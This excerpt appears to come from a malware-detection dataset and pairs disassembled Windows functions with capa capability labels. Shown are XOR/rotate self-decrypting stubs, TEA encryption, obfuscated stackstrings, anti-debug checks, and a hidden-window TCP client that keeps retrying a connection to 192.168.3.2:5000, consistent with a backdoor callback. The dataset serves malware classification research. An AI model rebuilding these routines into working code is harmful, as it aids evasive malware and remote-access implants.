joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd6a033
Capabilities:
Encode data using xor

Disassembly:
call fcn.0072cad1
add dword [esp + 2], edx
pop edx
pop edx
jmp ebp
xor bl, dl
neg al
pop ecx
pop ecx
add edx, esp
mov ax, word [edx]
neg ecx
mov edx, 0x6d2f43a6
bswap ecx
lea edi, [edi + edx - 0x6d2f43a8]
mov word [edi + edx - 0x6d2f43a6], ax
lea eax, [ecx*2 + 0x1a2e9628]
jg 0xbc8e32
mov edx, 0xf5b3af9d
shr eax, cl
mov dword [esi], eax
jmp 0xc0adc4
rol dl, 1
add dl, 0x30
mov dword [esp], ecx
bswap eax
rol dl, 1
shr ecx, cl
dec byte [esp + ecx - 0xb18ba6]
dec dl
btc ecx, ecx
jb 0xc3c1f8

Function at 0xd7a289
Capabilities:
Encode data using xor

Disassembly:
jmp 0xba5edf
shr ax, cl
mov word [ebp], ax
mov ecx, 0x9081398a
mov eax, 0xbc81dfa1
mov eax, dword [edi]
or cx, dx
push ecx
adc edi, 4
ror ecx, cl
xor eax, ebx
lea ecx, [edx + ecx*4 + 0x50106e36]
push edx
bswap edx
rol eax, 3
btc ecx, edx
setb byte [esp + 6]
bswap eax
sbb eax, 0xa3bac11c
or edx, 0x581b2dbb
not eax
ror dword [esp + 2], 0xc2
js 0xbe9b23
mov dword [esp + 4], ecx
mov ecx, 0xff19f227
push ecx
mov dword [esp + 4], ebx
push ecx
movsx ebp, word [esp + 4]
jmp fcn.00d1369b
call fcn.00d30239
lea esp, [esp + 0x14]
je 0x728c52
call fcn.00b6d6e3
adc ebp, 2
or edx, edx
sar dl, 0x87
jbe 0xb776f8
dec esi
sti
pop ebp
mov edx, 0x6c0b53a0
enter 0xffffffffffffe3df, 0x76
sub eax, dword [ecx + esi*8]
retf
jmp 0xd55598

Function at 0xd8cde1
Capabilities:
Authenticate hmac

Disassembly:
dec eax
movzx ecx, dx
xor eax, 0x3b391308
and dx, 0xec12
xadd edx, ecx
not eax
adc eax, 0x85bd7f3b
xor ebx, eax
add esi, eax
btc edx, edx
lea eax, [edx + ecx + 0x5a9b9db4]
rdtsc
neg ecx
ror edx, 1
movzx ecx, ax
jp 0xc1e5c4
lea edi, [edi + ecx*2 - 0x2c22]
mov ecx, dword [edi + eax*4 - 0x583c]
neg eax
inc al
lea edx, [eax*2 - 0x1fd4544c]
xor ecx, ebx
xor ecx, 0xa62b4394
not ecx
sal ax, 0xa5
push edx
ror edx, 0xcc
ror ecx, 2
sar ax, 0x62
adc dx, dx
call fcn.00b8e054
xor edx, edx
mov eax, dword [ebp + edx*2]
lea ebp, [ebp + edx*4 + 4]
xor eax, ebx
sub edx, edx
jp 0x81e903

Function at 0xd97118
Capabilities:
Authenticate hmac

Disassembly:
xor eax, ebx
inc edx
inc ecx
jge 0xcde306
mov eax, 0xfaa60329
mov edx, dword [esi]
jmp fcn.00d10b09
mov ecx, 0xd8b4e8a4
add dl, al
mov word [esi], dx
lea edx, [ecx*4 + 0xa946894]
mov eax, ecx
lea edi, [edi + edx - 0x6d680b28]
mov eax, dword [edi + edx - 0x6d680b24]
pop ecx
sar dl, 0xc4
ja 0xc82065
btr ecx, 0xa9
neg eax
mov dword [esp + edx*2 - 0x6638572a], edx
or edx, 0xce283bb3
dec eax
bswap eax
lea eax, [eax + ecx + 0x1971cefb]
xor cl, ch
xor ebx, eax
call fcn.00b26998
movzx dx, byte [esi]
mov eax, 0x1b3e8aba
mov al, byte [eax + esi - 0x1b3e8ab8]
push 0x6c01d9b1
add esi, 2
jmp 0xd5519e

Function at 0xd991d9
Capabilities:
Encode data using xor

Disassembly:
dec eax
mov dword [esp + ecx*4 - 0x56f12e4], ecx
dec eax
mov esi, dword [esp + ecx - 0x15bc48d]
dec esp
xchg dword [esp + ecx - 0x15bc4ad], ecx
call fcn.00bb94f3

Function at 0xda6f76
Capabilities:
Encode data using xor

Disassembly:
jbe fcn.00bb1bb4
je 0xc71756
pop eax
pop ecx
pop edx
pop ecx
pop eax
pop eax
jmp ebp
Function at 0xdac0ff
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
mov dword [esp + ecx*2 - 0xbe00], 0x3c129304
jmp 0xc3e964
push eax
rol eax, 4
not cl
call fcn.00c35198
xadd al, ah
xor cl, 0xa
jmp 0x834cc6
xor edx, 0xc5117410
btc ax, cx
call fcn.00d30778
xor bl, dl
or cx, word [esp + eax - 0x8c10003]
jl 0xd9821f
inc ax
lea edx, [esp + edx + 8]
mov cx, word [edx + eax*2 - 0x11820008]
lea ebp, [ebp + eax*2 - 0x1182000a]
mov word [eax + ebp - 0x8c10004], cx
movsx edx, byte [esp + eax*4 - 0x2304000e]
dec edx
pop edx
pop eax
ja fcn.0075d2c8
adc ebp, 0
shr eax, 0x9d
jp 0x7b55d6
ror eax, 0x31
xor cl, bl
or eax, eax
ror cl, 1
sub al, 0x38
jl 0xc1b191
dec eax
mov edi, dword [ebp + edx]
inc bp
xadd ebp, esp
call fcn.00b45a17
neg eax
sar al, 7
lea edi, [eax + edi + 6]
mov byte [edx + eax*8], cl
je 0xd4e9e6
rol dl, cl
mov dword [esp + eax - 0x8c10003], 0xb5aa9a8a
push eax
jmp 0xd4444e
Function at 0x438caa
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x438a14
mov edx, 0xc8edccd4
or eax, edx
call fcn.00438cdd
add eax, eax
xor dword [ebx], edi
dec eax
inc ebx
sub edx, 0x6e1b04eb
or edx, eax
add eax, 1
cmp ebx, esi
jne fcn.00438caa
sub eax, edx
add edx, 0xf6a82e56
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401237
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and dword [ebp - 0x10], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x10]
push edi
mov dword [ebp - 0x30], esi
mov eax, dword [esi + 4]
mov edi, dword [esi]
mov dword [ebp - 0x14], eax
mov eax, dword [0x41b2f8]
mov dword [ebp - 0x20], eax
mov eax, dword [0x41b2fc]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x24], eax
call fcn.00401230
mov ebx, dword [ebp - 0x10]
mov ecx, dword [0x41b300]
add ebx, 0x23f
mov edx, dword [0x41b304]
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, edi
mov dword [ebp - 0x10], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0xae2eec], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0xae2ee8]
cmove eax, dword [ebp - 0x10]
and dword [ebp - 0x10], 0
cmp dword [0xae2eec], 0x3eb
mov dword [0xae2ee8], eax
mov eax, dword [0xae2e40]
cmove eax, dword [ebp - 0x10]
mov dword [0xae2e40], eax
lea eax, [ebx + edi]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
add dword [ebp - 8], edx
and dword [ebp - 0xc], 0
mov dword [0xae2ee4], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebx + esi]
mov edx, esi
lea ebx, [ebx + 0x61c88647]
shr edx, cl
add edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 8], edx
xor edx, eax
mov eax, dword [ebp - 4]
xor eax, edx
mov edx, dword [ebp - 0x2c]
sub edi, eax
mov dword [ebp - 4], eax
dec dword [ebp - 0x18]
mov dword [ebp - 0xc], edi
jne 0x401291
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov dword [esi], edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cd39
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41af20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040974e
mov dword [ebp - 0x14], eax
cmp dword [0x43e6dc], esi
jne 0x40ce2c
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40cdb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40cf0c
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40cf0c
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cf0c
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43e6dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43e6e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43e6e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43e6ec], eax
test eax, eax
je 0x40ce29
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43e6e8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40ce51
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40ce44
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40ce66
push 4
pop eax
jmp 0x40cf0e
cmp dword [ebp - 0x14], esi
je 0x40ce66
push dword [0x43e6dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40ce4b
mov eax, dword [0x43e6e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40cec4
cmp dword [0x43e6ec], edi
je 0x40cec4
push eax
call ebx
push dword [0x43e6ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40cec4
test eax, eax
je 0x40cec4
call ecx
test eax, eax
je 0x40ceb9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40ceb9
test byte [ebp - 8], 1
jne 0x40cec4
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40cef4
mov eax, dword [0x43e6e0]
cmp eax, edi
je 0x40cef1
push eax
call ebx
test eax, eax
je 0x40cef1
call eax
mov esi, eax
test esi, esi
je 0x40cef1
mov eax, dword [0x43e6e4]
cmp eax, edi
je 0x40cef1
push eax
call ebx
test eax, eax
je 0x40cef1
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43e6dc]
call ebx
test eax, eax
je 0x40cf0c
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40cf0e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041a7
mov esp, ebp
pop ebp
ret
Function at 0x401430
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_socket]
push 6
push 1
push 2
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4014dd
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 2
nop word [eax + eax]
push 0x1388
mov word [ebp - 0x14], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x10]
push eax
push str.192.168.3.2
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4014ca
push esi
call ebx
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 6
push 1
push 2
call edi
mov esi, eax
mov ecx, 2
cmp esi, 0xffffffff
je 0x4014dd
jmp 0x401470
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004019ec
mov esp, ebp
pop ebp
ret
push str.Failed_to_create_socket
lea ecx, [ebp - 0x20]
call fcn.00401170
push 0x40398c
lea eax, [ebp - 0x20]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x4017e0
Capabilities:
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, 0x14
nop
call fcn.004012c0
sub esi, 1
jne 0x401810
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401430
mov ecx, eax
call fcn.00401500
int3

Function at 0x40228c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4022cb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4022cb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4022cb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4022cb
cmp dword [ecx + 0x74], 0xe
jbe 0x4022cb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100037c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e1ce
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1001300c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], 0
mov dword [edx], vtable.CProduct.0
lea ecx, [edx + 4]
mov eax, dword [0x10013034]
mov dword [ecx], eax
mov eax, dword [0x10013034]
lea edi, [edx + 8]
mov dword [edi], eax
mov eax, dword [0x10013034]
lea ebx, [edx + 0xc]
mov dword [ebx], eax
mov eax, dword [0x10013034]
mov dword [edx + 0x10], eax
mov eax, dword [0x10013034]
mov dword [edx + 0x14], eax
mov eax, dword [0x10013034]
lea esi, [edx + 0x1c]
mov dword [esi], eax
mov dword [edx + 0x20], 0
mov dword [edx + 0x24], 0
mov dword [edx + 0x28], 0
mov dword [edx + 0x2c], 0
mov dword [edx + 0x30], 0
mov dword [edx + 0x34], 0
mov dword [edx + 0x38], 0
mov dword [edx + 0x3c], 0
mov dword [edx + 0x40], 0
mov dword [edx + 0x44], 0
mov dword [edx + 0x48], 0
mov dword [edx + 0x4c], 0
lea eax, [ebp + 8]
mov byte [ebp - 4], 0xd
push eax
call fcn.10001810
lea eax, [ebp + 0xc]
mov ecx, edi
push eax
call fcn.10001810
lea eax, [ebp + 0x10]
mov ecx, ebx
push eax
call fcn.10001810
mov edi, dword [ebp - 0x10]
lea eax, [ebp + 0x14]
push eax
lea ecx, [edi + 0x10]
call fcn.10001810
push 0x1000f4d0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x1000f4d0
push eax
mov ecx, esi
call fcn.100021f0
mov eax, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov byte [edi + 0x18], 0
mov dword [edi + 0x50], 0
lea ecx, [eax - 0xc]
cmp ecx, 0x10013024
je 0x10003906
add eax, 0xfffffff4
push eax
call esi
test eax, eax
jg 0x10003906
mov eax, dword [ebp + 8]
add eax, 0xfffffff4
push eax
call fcn.1000cc77
add esp, 4
mov eax, dword [ebp + 0xc]
lea ecx, [eax - 0xc]
cmp ecx, 0x10013024
je 0x1000392d
add eax, 0xfffffff4
push eax
call esi
test eax, eax
jg 0x1000392d
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff4
push eax
call fcn.1000cc77
add esp, 4
mov eax, dword [ebp + 0x10]
lea ecx, [eax - 0xc]
cmp ecx, 0x10013024
je 0x10003954
add eax, 0xfffffff4
push eax
call esi
test eax, eax
jg 0x10003954
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff4
push eax
call fcn.1000cc77
add esp, 4
mov eax, dword [ebp + 0x14]
lea ecx, [eax - 0xc]
cmp ecx, 0x10013024
je 0x1000397b
add eax, 0xfffffff4
push eax
call esi
test eax, eax
jg 0x1000397b
mov eax, dword [ebp + 0x14]
add eax, 0xfffffff4
push eax
call fcn.1000cc77
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10003e90
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e2d0
mov eax, dword fs:[0]
push eax
sub esp, 0xac
push ebx
push esi
push edi
mov eax, dword [0x1001300c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 4]
sub eax, dword [ecx]
cmp eax, 4
jae 0x10003ede
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov ecx, str.SOFTWAREAutodeskASP
mov dword [ebp - 4], 0
mov ebx, dword [0x10013034]
mov eax, ecx
shr eax, 0x10
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x1c], ebx
test eax, eax
jne 0x10003f84
movzx eax, cx
lea ecx, [ebp - 0x1c]
push eax
call fcn.100018a0
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], ebx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x54]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10003f49
push eax
call esi
neg eax
sbb eax, eax
add eax, 1
je 0x10003f7b
lea eax, [ebp - 0x54]
push eax
push 0x20119
push 0
push ebx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
neg eax
sbb eax, eax
add eax, 1
je 0x10003f77
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
test eax, eax
jne 0x10003fc3
mov byte [ebp + 0xb], 0
jmp 0x1000477e
push str.SOFTWAREAutodeskASP
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
test esi, esi
je 0x10003f26
push esi
lea ecx, [ebp - 0x1c]
call fcn.10002130
test eax, eax
je 0x10003f20
mov ebx, dword [ebp - 0x1c]
lea eax, [esi + esi]
push eax
push str.SOFTWAREAutodeskASP
push ebx
mov dword [ebp - 0x34], ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
jmp 0x10003f26
mov eax, dword [0x10013034]
mov dword [ebp - 0x38], eax
xor esi, esi
xor eax, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x54]
call fcn.10009c60
cmp eax, 0x103
je 0x10004528
nop word [eax + eax]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push 0x1000f620
lea edx, [ebp - 0x1c]
invalid
sti
invalid
add byte [eax], al
add byte [eax - 0x15], ah
push ds
Function at 0x10004950
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10004072
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.100040bd
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10004072
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.100040bd
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10004072
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.100040ad
xchg esp, eax
cmp eax, 0xa580b209
int3

Function at 0x100083a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e7d8
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1001300c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0xc
mov dword [ebp - 4], 0
call fcn.1000ce92
mov esi, eax
add esp, 4
lea eax, [ebp + 8]
mov ecx, esi
push eax
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.10008800
lea eax, [ebp - 0x10]
push eax
push 0
push esi
push 0x10007e80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp + 8]
test eax, eax
mov dword [edi + 4], eax
setne bl
test ecx, ecx
je 0x10008440
push dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push ecx
call fcn.100017d0
mov ecx, dword [ebp + 0x10]
add esp, 8
mov edx, dword [ebp + 8]
sub ecx, edx
sar ecx, 2
push ecx
push edx
call fcn.10001770
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000b960
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x228
mov eax, dword [0x1001300c]
xor eax, esp
mov dword [esp + 0x224], eax
mov eax, dword [ecx + 4]
mov edx, dword [ebp + 8]
or eax, 0x2001f
push esi
push edi
push eax
push edx
push dword [ecx]
mov dword [esp + 0x28], ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.1000b8b0
mov esi, eax
test esi, esi
jne 0x1000ba57
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea eax, [esp + 0x20]
push eax
push esi
push esi
push esi
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x100
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call edi
test eax, eax
jne 0x1000ba29
nop dword [eax]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.1000b960
mov esi, eax
test esi, esi
jne 0x1000ba57
lea eax, [esp + 0x20]
mov dword [esp + 8], 0x100
push eax
push esi
push esi
push esi
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call edi
test eax, eax
je 0x1000b9f0
mov eax, dword [esp + 0xc]
test eax, eax
je 0x1000ba40
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], 0
push dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x14], 0
call fcn.1000baa0
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x1000ba66
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.1000cc66
mov esp, ebp
pop ebp
ret 4